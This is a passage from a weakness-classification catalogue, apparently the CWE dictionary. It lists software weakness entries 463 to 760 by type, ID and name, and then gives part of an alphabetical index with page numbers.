We	463	Deletion of Data Structure Sentinel
We	464	Addition of Data Structure Sentinel
C	465	Pointer Issues
We	466	Return of Pointer Value Outside of Expected Range
Wv	467	Use of sizeof() on a Pointer Type
We	468	Incorrect Pointer Scaling
We	469	Use of Pointer Subtraction to Determine Size
We	470	Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')
We	471	Modification of Assumed-Immutable Data (MAID)
We	472	External Control of Assumed-Immutable Web Parameter
Wv	473	PHP External Variable Modification
We	474	Use of Function with Inconsistent Implementations
We	475	Undefined Behavior for Input to API
We	476	NULL Pointer Dereference
We	477	Use of Obsolete Functions
Wv	478	Failure to Use Default Case in Switch
Wv	479	Unsafe Function Call from a Signal Handler
We	480	Use of Incorrect Operator
Wv	481	Assigning instead of Comparing
Wv	482	Comparing instead of Assigning
Wv	483	Incorrect Block Delimitation
We	484	Omitted Break Statement in Switch
Wc	485	Insufficient Encapsulation
Wv	486	Comparison of Classes by Name
Wv	487	Reliance on Package-level Scope
Wv	488	Data Leak Between Sessions
We	489	Leftover Debug Code
C	490	Mobile Code Issues
Wv	491	Public cloneable() Method Without Final (aka 'Object Hijack')
Wv	492	Use of Inner Class Containing Sensitive Data
Wv	493	Critical Public Variable Without Final Modifier
We	494	Download of Code Without Integrity Check
Wv	495	Private Array-Typed Field Returned From A Public Method
Wv	496	Public Data Assigned to Private Array-Typed Field
Wv	497	Information Leak of System Data
Wv	498	Information Leak through Class Cloning
Wv	499	Serializable Class Containing Sensitive Data
Wv	500	Public Static Field Not Marked Final
We	501	Trust Boundary Violation
Wv	502	Deserialization of Untrusted Data
C	503	Byte/Object Code
C	504	Motivation/Intent
C	505	Intentionally Introduced Weakness
Wc	506	Embedded Malicious Code
We	507	Trojan Horse
We	508	Non-Replicating Malicious Code
We	509	Replicating Malicious Code (Virus or Worm)
We	510	Trapdoor
We	511	Logic/Time Bomb
We	512	Spyware
C	513	Intentionally Introduced Nonmalicious Weakness
Wc	514	Covert Channel
We	515	Covert Storage Channel
D	516	DEPRECATED (Duplicate): Covert Timing Channel
C	517	Other Intentional, Nonmalicious Weakness
C	518	Inadvertently Introduced Weakness

Type	ID	Name
C	519	.NET Environment Issues
W	520	.NET Misconfiguration: Use of Impersonation
Wa	521	Weak Password Requirements
Wa	522	Insufficiently Protected Credentials
W	523	Unprotected Transport of Credentials
W	524	Information Leak Through Caching
W	525	Information Leak Through Browser Caching
W	526	Information Leak Through Environmental Variables
W	527	Information Leak Through CVS Repository
W	528	Information Leak Through Core Dump Files
W	529	Information Leak Through Access Control List Files
W	530	Information Leak Through Backup (.~bk) Files
W	531	Information Leak Through Test Code
W	532	Information Leak Through Log Files
W	533	Information Leak Through Server Log Files
W	534	Information Leak Through Debug Log Files
W	535	Information Leak Through Shell Error Message
W	536	Information Leak Through Servlet Runtime Error Message
W	537	Information Leak Through Java Runtime Error Message
Wa	538	File and Directory Information Leaks
W	539	Information Leak Through Persistent Cookies
W	540	Information Leak Through Source Code
W	541	Information Leak Through Include Source Code
W	542	Information Leak Through Cleanup Log Files
W	543	Use of Singleton Pattern in a Non-thread-safe Manner
Wa	544	Failure to Use a Standardized Error Handling Mechanism
W	545	Use of Dynamic Class Loading
W	546	Suspicious Comment
W	547	Use of Hard-coded, Security-relevant Constants
W	548	Information Leak Through Directory Listing
W	549	Missing Password Field Masking
W	550	Information Leak Through Server Error Message
Wa	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
Wa	552	Files or Directories Accessible to External Parties
W	553	Command Shell in Externally Accessible Directory
W	554	ASP.NET Misconfiguration: Not Using Input Validation Framework
W	555	J2EE Misconfiguration: Plaintext Password in Configuration File
W	556	ASP.NET Misconfiguration: Use of Identity Impersonation
C	557	Concurrency Issues
W	558	Use of getlogin() in Multithreaded Application
C	559	Often Misused: Arguments and Parameters
W	560	Use of umask() with chmod-style Argument
W	561	Dead Code
Wa	562	Return of Stack Variable Address
W	563	Unused Variable
W	564	SQL Injection: Hibernate
Wa	565	Use of Cookies in Security Decision
W	566	Access Control Bypass Through User-Controlled SQL Primary Key
Wa	567	Unsynchronized Access to Shared Data
W	568	finalize() Method Without super.finalize()
C	569	Expression Issues
W	570	Expression is Always False
W	571	Expression is Always True
W	572	Call to Thread run() instead of start()
Wc	573	Failure to Follow Specification
W	574	EJB Bad Practices: Use of Synchronization Primitives
W	575	EJB Bad Practices: Use of AWT Swing

Type	ID	Name
	576	EJB Bad Practices: Use of Java I/O
	577	EJB Bad Practices: Use of Sockets
	578	EJB Bad Practices: Use of Class Loader
	579	J2EE Bad Practices: Non-serializable Object Stored in Session
	580	clone() Method Without super.clone()
	581	Object Model Violation: Just One of Equals and Hashcode Defined
	582	Array Declared Public, Final, and Static
	583	finalize() Method Declared Public
	584	Return Inside Finally Block
	585	Empty Synchronized Block
	586	Explicit Call to Finalize()
	587	Assignment of a Fixed Address to a Pointer
	588	Attempt to Access Child of a Non-structure Pointer
	589	Call to Non-ubiquitous API
	590	Free of Invalid Pointer Not on the Heap
	591	Sensitive Data Storage in Improperly Locked Memory
	592	Authentication Bypass Issues
	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
	594	J2EE Framework: Saving Unserializable Objects to Disk
	595	Incorrect Syntactic Object Comparison
	596	Incorrect Semantic Object Comparison
	597	Use of Wrong Operator in String Comparison
	598	Information Leak Through Query Strings in GET Request
	599	Trust of OpenSSL Certificate Without Validation
	600	Failure to Catch All Exceptions in Servlet
	601	URL Redirection to Untrusted Site (aka 'Open Redirect')
	602	Client-Side Enforcement of Server-Side Security
	603	Use of Client-Side Authentication
	604	Deprecated Entries
	605	Multiple Binds to the Same Port
	606	Unchecked Input for Loop Condition
	607	Public Static Final Field References Mutable Object
	608	Struts: Non-private Field in ActionForm Class
	609	Double-Checked Locking
	610	Externally Controlled Reference to a Resource in Another Sphere
	611	Information Leak Through XML External Entity File Disclosure
	612	Information Leak Through Indexing of Private Data
	613	Insufficient Session Expiration
	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
	615	Information Leak Through Comments
	616	Incomplete Identification of Uploaded File Variables (PHP)
	617	Reachable Assertion
	618	Exposed Unsafe ActiveX Method
	619	Dangling Database Cursor (aka 'Cursor Injection')
	620	Unverified Password Change
	621	Variable Extraction Error
	622	Unvalidated Function Hook Arguments
	623	Unsafe ActiveX Control Marked Safe For Scripting
	624	Executable Regular Expression Error
	625	Permissive Regular Expression
	626	Null Byte Interaction Error (Poison Null Byte)
	627	Dynamic Variable Evaluation
	628	Function Call with Incorrectly Specified Arguments
	629	Weaknesses in OWASP Top Ten (2007)
	630	Weaknesses Examined by SAMATE
	631	Resource-specific Weaknesses
	632	Weaknesses that Affect Files or Directories

Type	ID	Name
C	633	Weaknesses that Affect Memory
C	634	Weaknesses that Affect System Processes
V	635	Weaknesses Used by NVD
Wc	636	Not Failing Securely (aka 'Failing Open')
Wc	637	Failure to Use Economy of Mechanism
Wc	638	Failure to Use Complete Mediation
Wa	639	Access Control Bypass Through User-Controlled Key
Wa	640	Weak Password Recovery Mechanism for Forgotten Password
Wy	641	Insufficient Filtering of File and Other Resource Names for Executable Content
Wc	642	External Control of Critical State Data
Wa	643	Failure to Sanitize Data within XPath Expressions (aka 'XPath injection')
Wy	644	Insufficient Sanitization of HTTP Headers for Scripting Syntax
Wa	645	Overly Restrictive Account Lockout Mechanism
Wy	646	Reliance on File Name or Extension of Externally-Supplied File
Wy	647	Use of Non-Canonical URL Paths for Authorization Decisions
Wa	648	Improper Use of Privileged APIs
Wa	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
Wy	650	Trusting HTTP Permission Methods on the Server Side
Wy	651	Information Leak through WSDL File
Wa	652	Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection')
Wa	653	Insufficient Compartmentalization
Wa	654	Reliance on a Single Factor in a Security Decision
Wa	655	Failure to Satisfy Psychological Acceptability
Wa	656	Reliance on Security through Obscurity
Wc	657	Violation of Secure Design Principles
V	658	Weaknesses in Software Written in C
V	659	Weaknesses in Software Written in C++
V	660	Weaknesses in Software Written in Java
V	661	Weaknesses in Software Written in PHP
Wa	662	Insufficient Synchronization
Wa	663	Use of a Non-reentrant Function in an Unsynchronized Context
Wc	664	Insufficient Control of a Resource Through its Lifetime
Wa	665	Improper Initialization
Wa	666	Operation on Resource in Wrong Phase of Lifetime
Wa	667	Insufficient Locking
Wc	668	Exposure of Resource to Wrong Sphere
Wc	669	Incorrect Resource Transfer Between Spheres
Wc	670	Always-Incorrect Control Flow Implementation
Wc	671	Lack of Administrator Control over Security
Wa	672	Use of a Resource after Expiration or Release
Wc	673	External Influence of Sphere Definition
Wa	674	Uncontrolled Recursion
Wc	675	Duplicate Operations on Resource
Wa	676	Use of Potentially Dangerous Function
V	677	Weakness Base Elements
V	678	Composites
V	679	Chain Elements
∞	680	Integer Overflow to Buffer Overflow
Wa	681	Incorrect Conversion between Numeric Types
Wc	682	Incorrect Calculation
Wy	683	Function Call With Incorrect Order of Arguments
Wa	684	Failure to Provide Specified Functionality
Wy	685	Function Call With Incorrect Number of Arguments
Wy	686	Function Call With Incorrect Argument Type
Wy	687	Function Call With Incorrectly Specified Argument Value
Wy	688	Function Call With Incorrect Variable or Reference as Argument

Type	ID	Name
	689	Permission Race Condition During Resource Copy
	690	Unchecked Return Value to NULL Pointer Dereference
	691	Insufficient Control Flow Management
	692	Incomplete Blacklist to Cross-Site Scripting
	693	Protection Mechanism Failure
	694	Use of Multiple Resources with Duplicate Identifier
	695	Use of Low-Level Functionality
	696	Incorrect Behavior Order
	697	Insufficient Comparison
	698	Redirect Without Exit
	699	Development Concepts
	700	Seven Pernicious Kingdoms
	701	Weaknesses Introduced During Design
	702	Weaknesses Introduced During Implementation
	703	Failure to Handle Exceptional Conditions
	704	Incorrect Type Conversion or Cast
	705	Incorrect Control Flow Scoping
	706	Use of Incorrectly-Resolved Name or Reference
	707	Failure to Enforce that Messages or Data are Well-Formed
	708	Incorrect Ownership Assignment
	709	Named Chains
	710	Coding Standards Violation
	711	Weaknesses in OWASP Top Ten (2004)
	712	OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
	713	OWASP Top Ten 2007 Category A2 - Injection Flaws
	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution
	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)
	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling
	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
	720	OWASP Top Ten 2007 Category A9 - Insecure Communications
	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access
	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input
	723	OWASP Top Ten 2004 Category A2 - Broken Access Control
	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows
	727	OWASP Top Ten 2004 Category A6 - Injection Flaws
	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling
	729	OWASP Top Ten 2004 Category A8 - Insecure Storage
	730	OWASP Top Ten 2004 Category A9 - Denial of Service
	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
	732	Insecure Permission Assignment for Critical Resource
	733	Compiler Optimization Removal or Modification of Security-critical Code
	734	Weaknesses Addressed by the CERT C Secure Coding Standard
	735	CERT C Secure Coding Section 01 - Preprocessor (PRE)
	736	CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)
	737	CERT C Secure Coding Section 03 - Expressions (EXP)
	738	CERT C Secure Coding Section 04 - Integers (INT)
	739	CERT C Secure Coding Section 05 - Floating Point (FLP)
	740	CERT C Secure Coding Section 06 - Arrays (ARR)
	741	CERT C Secure Coding Section 07 - Characters and Strings (STR)
	742	CERT C Secure Coding Section 08 - Memory Management (MEM)
	743	CERT C Secure Coding Section 09 - Input Output (FIO)
	744	CERT C Secure Coding Section 10 - Environment (ENV)

Type	ID	Name
C	745	CERT C Secure Coding Section 11 - Signals (SIG)
C	746	CERT C Secure Coding Section 12 - Error Handling (ERR)
C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)
C	748	CERT C Secure Coding Section 50 - POSIX (POS)
Wa	749	Exposed Dangerous Method or Function
V	750	Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors
C	751	Insecure Interaction Between Components
C	752	Risky Resource Management
C	753	Porous Defenses
Wc	754	Improper Check for Exceptional Conditions
Wc	755	Improper Handling of Exceptional Conditions
Wc	756	Missing Custom Error Page
Wc	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
Wc	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
Wc	759	Use of a One-Way Hash without a Salt
Wc	760	Use of a One-Way Hash with a Predictable Salt
V	1000	Research Concepts
V	2000	Comprehensive CWE Dictionary

Index

A

Absolute Path Traversal, 38
Acceptance of Extraneous Untrusted Data With Trusted Data, 371
Access Control (Authorization) Issues, 309
Access Control Bypass Through User-Controlled Key, 621
Access Control Bypass Through User-Controlled SQL Primary Key, 565
Addition of Data Structure Sentinel, 485
Algorithmic Complexity, 437
Always-Incorrect Control Flow Implementation, 659
Apple '.DS_Store', 65
Argument Injection or Modification, 97
Array Declared Public, Final, and Static, 575
ASP.NET Environment Issues, 6
ASP.NET Misconfiguration: Creating Debug Binary, 7
ASP.NET Misconfiguration: Missing Custom Error Page, 8
ASP.NET Misconfiguration: Not Using Input Validation Framework, 556
ASP.NET Misconfiguration: Password in Configuration File, 9
ASP.NET Misconfiguration: Use of Identity Impersonation, 558
Assigning instead of Comparing, 504
Assignment of a Fixed Address to a Pointer, 578
Asymmetric Resource Consumption (Amplification), 435
Attempt to Access Child of a Non-structure Pointer, 579
Authentication Bypass by Alternate Name, 315
Authentication Bypass by Assumed-Immutable Data, 329
Authentication Bypass by Capture-replay, 321
Authentication Bypass by Primary Weakness, 331
Authentication Bypass by Spoofing, 316
Authentication Bypass Issues, 582
Authentication Bypass Using an Alternate Path or Channel, 314
Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created, 583

B

Behavioral Change in New Version or Environment, 466
Behavioral Discrepancy Information Leak, 235
Behavioral Problems, 465
Boundary Beginning Violation ('Buffer Underwrite'), 155
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), 148
Buffer Over-read, 157
Buffer Under-read, 158
Byte/Object Code, 528

C

Call to Non-ubiquitous API, 580
Call to Thread run() instead of start(), 569
CERT C Secure Coding Section 01 - Preprocessor (PRE), 724
CERT C Secure Coding Section 02 - Declarations and Initialization (DCL), 725
CERT C Secure Coding Section 03 - Expressions (EXP), 725
CERT C Secure Coding Section 04 - Integers (INT), 726
CERT C Secure Coding Section 05 - Floating Point (FLP), 726
CERT C Secure Coding Section 06 - Arrays (ARR), 726
CERT C Secure Coding Section 07 - Characters and Strings (STR), 727
CERT C Secure Coding Section 08 - Memory Management (MEM), 727
CERT C Secure Coding Section 09 - Input Output (FIO), 728
CERT C Secure Coding Section 10 - Environment (ENV), 729
CERT C Secure Coding Section 11 - Signals (SIG), 729
CERT C Secure Coding Section 12 - Error Handling (ERR), 730
CERT C Secure Coding Section 49 - Miscellaneous (MSC), 730
CERT C Secure Coding Section 50 - POSIX (POS), 731
Certificate Issues, 322
Chain Elements, 670
Channel Accessible by Non-Endpoint (aka 'Man-in-the-Middle'), 326
Channel and Path Errors, 447
Channel Errors, 447
Cleansing, Canonicalization, and Comparison Errors, 199
Cleartext Storage of Sensitive Information, 338
Cleartext Transmission of Sensitive Information, 342
Client-Side Enforcement of Server-Side Security, 590
clone() Method Without super.clone(), 574
Code, 13
Coding Standards Violation, 711
Collapse of Data Into Unsafe Value, 210
Command Shell in Externally Accessible Directory, 556
Comparing instead of Assigning, 505
Comparison of Classes by Name, 510
Compiler Optimization Removal or Modification of Security-critical Code, 723
Compiler Removal of Code to Clear Buffers, 10
Composites, 670
Comprehensive CWE Dictionary, 738
Concurrency Issues, 558
Configuration, 13
Containment Errors (Container Errors), 246
Context Switching Race Condition, 394
Covert Channel, 533
Covert Storage Channel, 534
Covert Timing Channel, 410
Creation of Temporary File in Directory with Insecure Permissions, 405
Creation of Temporary File With Insecure Permissions, 404
Credentials Management, 279
Critical Public Variable Without Final Modifier, 516
Cross-boundary Cleansing Information Leak, 243
Cross-Site Request Forgery (CSRF), 373
Cryptographic Issues, 335

D

Dangerous Handler not Disabled During Sensitive Operations, 460
Dangling Database Cursor (aka 'Cursor Injection'), 604
Data Handling, 14
Data Leak Between Sessions, 511
Data Structure Issues, 483
Dead Code, 560
Declaration of Catch for Generic Exception, 421
Declaration of Throws for Generic Exception, 422
Deletion of Data Structure Sentinel, 484
Deployment of Wrong Handler, 458
DEPRECATED (Duplicate): Covert Timing Channel, 535
DEPRECATED (Duplicate): Failure to provide confidentiality for stored data, 248
DEPRECATED (Duplicate): General Information Management Problems, 252
DEPRECATED (Duplicate): HTTP response splitting, 468
DEPRECATED (Duplicate): Miscalculated Null Termination, 164
DEPRECATED (Duplicate): Proxied Trusted Channel, 451

Deprecated Entries, 593
DEPRECATED: General Special Element Problems, 170
DEPRECATED: Incorrect Initialization, 480
Deserialization of Untrusted Data, 526
Detection of Error Condition Without Action, 415
Development Concepts, 688
Direct Request ('Forced Browsing'), 451
Direct Use of Unsafe JNI, 128
Discrepancy Information Leaks, 233
Divide By Zero, 395
Double Decoding of the Same Data, 202
Double Free, 442
Double-Checked Locking, 596
Doubled Character XSS Manipulations, 95
Download of Code Without Integrity Check, 518
Duplicate Key in Associative List (Alist), 483
Duplicate Operations on Resource, 663
Dynamic Variable Evaluation, 611

E

EJB Bad Practices: Use of AWT Swing, 571
EJB Bad Practices: Use of Class Loader, 573
EJB Bad Practices: Use of Java I/O, 572
EJB Bad Practices: Use of Sockets, 572
EJB Bad Practices: Use of Synchronization Primitives, 571
Embedded Malicious Code, 529
Empty Password in Configuration File, 282
Empty Synchronized Block, 577
Encoding Error, 200
Environment, 1
Error Conditions, Return Values, Status Codes, 414
Error Handling, 413
Error Message Information Leak, 238
Executable Regular Expression Error, 608
Execution with Unnecessary Privileges, 271
Expected Behavior Violation, 466
Explicit Call to Finalize(), 578
Exposed Dangerous Method or Function, 731
Exposed Unsafe ActiveX Method, 603
Exposure of Resource to Wrong Sphere, 658
Expression is Always False, 567
Expression is Always True, 568
Expression Issues, 567
External Behavioral Inconsistency Information Leak, 237
External Control of Assumed-Immutable Web Parameter, 493
External Control of Critical State Data, 625
External Control of File Name or Path, 67
External Control of System or Configuration Setting, 12
External Influence of Sphere Definition, 661
External Initialization of Trusted Variables, 476
Externally Controlled Reference to a Resource in Another Sphere, 597

F

Failure to Add Integrity Check Value, 375
Failure to Catch All Exceptions in Servlet , 588
Failure to Change Working Directory in chroot Jail, 264
Failure to Clear Heap Memory Before Release (aka 'Heap Inspection'), 266
Failure to Constrain Operations within the Bounds of a Memory Buffer, 144
Failure to Control Generation of Code (aka 'Code Injection'), 110
Failure to Encrypt Sensitive Data, 336
Failure to Enforce that Messages or Data are Well-Formed, 709
Failure to Follow Specification, 570
Failure to Fulfill API Contract (aka 'API Abuse'), 254
Failure to Handle Additional Special Element, 194
Failure to Handle Alternate Encoding, 201
Failure to Handle Apple HFS+ Alternate Data Stream Path, 66
Failure to Handle Exceptional Conditions, 706
Failure to Handle Highly Compressed Data (Data Amplification), 438
Failure to Handle Incomplete Element, 262
Failure to Handle Insufficient Entropy in TRNG, 359
Failure to Handle Insufficient Privileges, 301
Failure to Handle Missing Parameter, 258
Failure to Handle Missing Special Element, 193
Failure to Handle Mixed Encoding, 203
Failure to Handle Unicode Encoding, 203
Failure to Handle URL Encoding (Hex Encoding), 205
Failure to Handle Windows ::DATA Alternate Data Stream, 63
Failure to Preserve OS Command Structure (aka 'OS Command Injection'), 77
Failure to Preserve SQL Query Structure (aka 'SQL Injection'), 99
Failure to Preserve Web Page Structure (aka 'Cross-site Scripting'), 83
Failure to Protect Alternate Path, 451
Failure to Protect Stored Data from Modification, 247
Failure to Provide Specified Functionality, 677
Failure to Release Memory Before Removing Last Reference (aka 'Memory Leak'), 427
Failure to Report Error in Status Code, 418
Failure to Resolve Case Sensitivity, 206
Failure to Resolve Encoded URI Schemes in a Web Page, 94
Failure to Resolve Equivalent Special Elements into a Different Plane, 73
Failure to Resolve Inconsistent Special Elements, 194
Failure to Resolve Links Before File Access (aka 'Link Following'), 54
Failure to Resolve Path Equivalence, 43
Failure to Restrict Excessive Authentication Attempts, 332
Failure to Sanitize Alternate XSS Syntax, 96
Failure to Sanitize CRLF Sequences (aka 'CRLF Injection'), 109
Failure to Sanitize CRLF Sequences in HTTP Headers (aka 'HTTP Response Splitting'), 131
Failure to Sanitize Data into a Control Plane (aka 'Command Injection'), 74
Failure to Sanitize Data into a Different Plane (aka 'Injection'), 70
Failure to Sanitize Data into LDAP Queries (aka 'LDAP Injection'), 106
Failure to Sanitize Data within XPath Expressions (aka 'XPath injection'), 628
Failure to Sanitize Data within XQuery Expressions (aka 'XQuery Injection'), 638
Failure to Sanitize Delimiters, 171
Failure to Sanitize Directives in an Error Message Web Page, 91
Failure to Sanitize Escape, Meta, or Control Sequences, 178
Failure to Sanitize Expression/Command Delimiters, 175
Failure to Sanitize Input Leaders, 177
Failure to Sanitize Internal Special Element, 191
Failure to Sanitize Invalid Characters in Identifiers in Web Pages, 96
Failure to Sanitize Leading Special Element, 188
Failure to Sanitize Line Delimiters, 174
Failure to Sanitize Multiple Internal Special Elements, 192
Failure to Sanitize Multiple Leading Special Elements, 189
Failure to Sanitize Multiple Trailing Special Elements, 190
Failure to Sanitize Null Byte or NUL Character, 186

Failure to Sanitize Paired Delimiters, 185
Failure to Sanitize Parameter/Argument Delimiters, 171
Failure to Sanitize Quoting Syntax, 178
Failure to Sanitize Record Delimiters, 173
Failure to Sanitize Script in Attributes in a Web Page, 93
Failure to Sanitize Script in Attributes of IMG Tags in a Web Page, 92
Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS), 89
Failure to Sanitize Section Delimiters, 174
Failure to Sanitize Server-Side Includes (SSI) Within a Web Page, 116
Failure to Sanitize Special Element, 187
Failure to Sanitize Special Elements into a Different Plane (Special Element Injection), 72
Failure to Sanitize Trailing Special Element, 190
Failure to Sanitize Value Delimiters, 172
Failure to Satisfy Psychological Acceptability, 642
Failure to Use a Standardized Error Handling Mechanism, 550
Failure to Use Complete Mediation, 620
Failure to Use Default Case in Switch, 501
Failure to Use Economy of Mechanism, 619
File and Directory Information Leaks, 546
Files or Directories Accessible to External Parties, 555
finalize() Method Declared Public, 576
finalize() Method Without super.finalize(), 567
Free of Invalid Pointer Not on the Heap, 581
Function Call With Incorrect Argument Type, 678
Function Call With Incorrect Number of Arguments, 677
Function Call With Incorrect Order of Arguments, 676
Function Call With Incorrect Variable or Reference as Argument, 679
Function Call With Incorrectly Specified Argument Value, 678
Function Call with Incorrectly Specified Arguments, 612

H

Handler Errors, 458
Hard-Coded Password, 283
Heap-based Buffer Overflow, 152

I

Improper Access Control (Authorization), 310
Improper Access of Indexable Resource (aka 'Range Error'), 143
Improper Authentication, 312
Improper Check for Certificate Revocation, 325
Improper Check for Exceptional Conditions, 734
Improper Check for Successfully Dropped Privileges, 300
Improper Cleanup on Thrown Exception, 482
Improper Encoding or Escaping of Output, 136
Improper Following of Chain of Trust for Certificate Validation, 322
Improper Handling of Exceptional Conditions, 734
Improper Handling of Extra Parameters, 260
Improper Handling of Extra Values, 257
Improper Handling of File Names that Identify Virtual Resources, 61
Improper Handling of Incomplete Structural Elements, 261
Improper Handling of Inconsistent Structural Elements, 262
Improper Handling of Insufficient Permissions or Privileges , 306
Improper Handling of Length Parameter Inconsistency , 161
Improper Handling of Missing Values, 256
Improper Handling of Structural Elements, 261
Improper Handling of Syntactically Invalid Structure, 255
Improper Handling of Undefined Parameters, 260
Improper Handling of Undefined Values, 257
Improper Handling of Unexpected Data Type, 263
Improper Handling of Values, 256
Improper Handling of Windows Device Names, 62
Improper Implementation of Authentication Algorithm, 330
Improper Initialization, 653
Improper Input Validation, 14
Improper Null Termination, 196
Improper Ownership Management, 307
Improper Resource Shutdown or Release, 431
Improper Sanitization of Comment Delimiters, 179
Improper Sanitization of Input Terminators, 176
Improper Sanitization of Macro Symbols, 180
Improper Sanitization of Special Elements, 169
Improper Sanitization of Substitution Characters, 181
Improper Sanitization of Variable Name Delimiters, 182
Improper Sanitization of Whitespace, 184
Improper Sanitization of Wildcards or Matching Symbols, 183
Improper Use of Privileged APIs, 634
Improper Validation of Certificate Expiration, 324
Improper Validation of Host-specific Certificate Data, 323
Improper Validation of Integrity Check Value, 376
Improperly Implemented Security Check for Standard, 379
Improperly Trusted Reverse DNS, 371
Improperly Verified Signature, 369
Inadvertently Introduced Weakness, 535
Incomplete Blacklist, 212
Incomplete Blacklist to Cross-Site Scripting, 683
Incomplete Cleanup, 481
Incomplete Identification of Uploaded File Variables (PHP), 601
Incomplete Internal State Distinction, 398
Incomplete Model of Endpoint Features, 465
Inconsistent Interpretation of HTTP Requests (aka 'HTTP Request Smuggling'), 468
Incorrect Behavior Order, 686
Incorrect Behavior Order: Authorization Before Parsing and Canonicalization, 555
Incorrect Behavior Order: Early Amplification, 437
Incorrect Behavior Order: Early Validation, 207
Incorrect Behavior Order: Validate Before Canonicalize, 208
Incorrect Behavior Order: Validate Before Filter, 209
Incorrect Block Delimitation, 506
Incorrect Calculation, 673
Incorrect Calculation of Buffer Size, 163
Incorrect Calculation of Multi-Byte String Length, 167
Incorrect Check of Function Return Value, 278
Incorrect Control Flow Scoping, 708
Incorrect Conversion between Numeric Types, 673
Incorrect Output Sanitization for Logs, 141
Incorrect Ownership Assignment, 710
Incorrect Pointer Scaling, 488
Incorrect Privilege Assignment, 291
Incorrect Regular Expression, 214
Incorrect Resource Transfer Between Spheres, 659
Incorrect Semantic Object Comparison, 585
Incorrect Syntactic Object Comparison, 585
Incorrect Type Conversion or Cast, 707
Incorrect User Management, 312
Indicator of Poor Code Quality, 423
Information Leak (Information Disclosure), 230
Information Leak of System Data, 521
Information Leak Through Access Control List Files, 542
Information Leak Through Backup (.~bk) Files, 542
Information Leak Through Browser Caching, 539
Information Leak Through Caching, 539
Information Leak through Class Cloning, 522
Information Leak Through Cleanup Log Files, 549

Information Leak Through Comments, 601
Information Leak Through Core Dump Files, 541
Information Leak Through CVS Repository, 540
Information Leak Through Debug Information, 245
Information Leak Through Debug Log Files, 544
Information Leak Through Directory Listing, 553
Information Leak Through Environmental Variables, 540
Information Leak Through Include Source Code, 548
Information Leak Through Indexing of Private Data, 599
Information Leak Through Java Runtime Error Message, 546
Information Leak Through Log Files, 543
Information Leak Through Persistent Cookies, 547
Information Leak Through Query Strings in GET Request, 587
Information Leak Through Sent Data, 232
Information Leak Through Server Error Message, 554
Information Leak Through Server Log Files, 544
Information Leak Through Servlet Runtime Error Message, 545
Information Leak Through Shell Error Message, 545
Information Leak Through Source Code, 548
Information Leak Through Test Code, 543
Information Leak through WSDL File, 637
Information Leak Through XML External Entity File Disclosure, 598
Information Loss or Omission, 250
Information Management Errors, 230
Initialization and Cleanup Errors, 474
Insecure Default Permissions, 303
Insecure Default Variable Initialization, 475
Insecure Execution-assigned Permissions, 305
Insecure Inherited Permissions, 304
Insecure Interaction Between Components, 733
Insecure Permission Assignment for Critical Resource, 721
Insecure Preserved Inherited Permissions, 304
Insecure Privilege Management, 295
Insecure Temporary File, 402
Insufficient Comparison, 687
Insufficient Compartmentalization, 639
Insufficient Control Flow Management, 682
Insufficient Control of a Resource Through its Lifetime, 652
Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection'), 112
Insufficient Control of Directives in Statically Saved Code (Static Code Injection), 114
Insufficient Control of Filename for Include/Require Statement in PHP Program (aka 'PHP File Inclusion'), 116
Insufficient Control of Network Message Volume (Network Amplification), 436
Insufficient Control of Resource Identifiers (aka 'Resource Injection'), 118
Insufficient Encapsulation, 508
Insufficient Entropy, 357
Insufficient Entropy in PRNG, 358
Insufficient Filtering of File and Other Resource Names for Executable Content, 624
Insufficient Locking, 657
Insufficient Resource Locking, 441
Insufficient Resource Pool, 438
Insufficient Sanitization of Custom Special Characters, 107
Insufficient Sanitization of HTTP Headers for Scripting Syntax, 630
Insufficient Session Expiration, 599
Insufficient Synchronization, 651
Insufficient Type Distinction, 372
Insufficient UI Warning of Dangerous Operations, 379
Insufficient Verification of Data Authenticity, 367
Insufficiently Protected Credentials, 537
Integer Coercion Error, 221
Integer Overflow or Wraparound, 218
Integer Overflow to Buffer Overflow, 672
Integer Underflow (Wrap or Wraparound), 220
Intended Information Leak, 243
Intentionally Introduced Nonmalicious Weakness, 533
Intentionally Introduced Weakness, 528
Interaction Error, 462
Internal Behavioral Inconsistency Information Leak, 236
Interpretation Conflict, 463

J

J2EE Bad Practices: Direct Management of Connections, 267
J2EE Bad Practices: Direct Use of Sockets, 267
J2EE Bad Practices: Direct Use of Threads, 408
J2EE Bad Practices: Non-serializable Object Stored in Session, 573
J2EE Bad Practices: Use of System.exit(), 407
J2EE Environment Issues, 1
J2EE Framework: Saving Unserializable Objects to Disk, 584
J2EE Misconfiguration: Data Transmission Without Encryption, 2
J2EE Misconfiguration: Entity Bean Declared Remote, 5
J2EE Misconfiguration: Insufficient Session-ID Length, 3
J2EE Misconfiguration: Missing Custom Error Page, 4
J2EE Misconfiguration: Plaintext Password in Configuration File, 557
J2EE Misconfiguration: Weak Access Permissions for EJB Methods, 6
